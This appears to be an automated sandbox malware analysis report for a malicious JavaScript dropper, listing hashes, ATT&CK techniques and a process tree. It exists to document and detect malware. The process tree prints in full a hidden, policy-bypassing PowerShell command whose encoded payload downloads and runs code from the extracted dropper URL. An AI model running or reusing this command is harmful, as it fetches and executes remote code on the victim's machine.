58fd130dd5a37b10419f8f6c1205f7c97b71e7638bcf80147e2aee8fa7bd5636

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
30/12/2023, 14:26

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General

Target

1b617d1bbfbf87a9283f49c2264f1aa3.js
Size

143KB
MD5

1b617d1bbfbf87a9283f49c2264f1aa3
SHA1

5cb30151023f4e78ce206517216174b21d828617
SHA256

58fd130dd5a37b10419f8f6c1205f7c97b71e7638bcf80147e2aee8fa7bd5636
SHA512

d0cb01450ee198cd6d5b8e3d6c7f9f024468b07b76678e90ea34bce5955a1f60a6c6831f4e0f76b908610cf24760bf80245e6ba2807a1eddb7e65da1090998dc
SSDEEP

3072:HvBfL5LYl9Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9SZ8kV8Gd5bzIv+:HvfUl9Ry9RuXqW4SzUHmLKeMMU7GwWBb

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	1740	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1740	powershell.exe
1740	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1740	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1764 wrote to memory of 5052	1764	wscript.exe	90
PID 1764 wrote to memory of 5052	1764	wscript.exe	90
PID 5052 wrote to memory of 1740	5052	cmd.exe	92
PID 5052 wrote to memory of 1740	5052	cmd.exe	92

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1b617d1bbfbf87a9283f49c2264f1aa3.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lstfxnvh.1ut.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1740-1-0x00000234EACC0000-0x00000234EACE2000-memory.dmp

Filesize
136KB

Download
memory/1740-2-0x00007FF920490000-0x00007FF920F51000-memory.dmp

Filesize
10.8MB

Download
memory/1740-8-0x00000234E8AA0000-0x00000234E8AB0000-memory.dmp

Filesize
64KB

Download
memory/1740-9-0x00000234E8AA0000-0x00000234E8AB0000-memory.dmp

Filesize
64KB

Download
memory/1740-14-0x00000234E8AA0000-0x00000234E8AB0000-memory.dmp

Filesize
64KB

Download
memory/1740-15-0x00000234E8AA0000-0x00000234E8AB0000-memory.dmp

Filesize
64KB

Download
memory/1740-18-0x00007FF920490000-0x00007FF920F51000-memory.dmp

Filesize
10.8MB

Download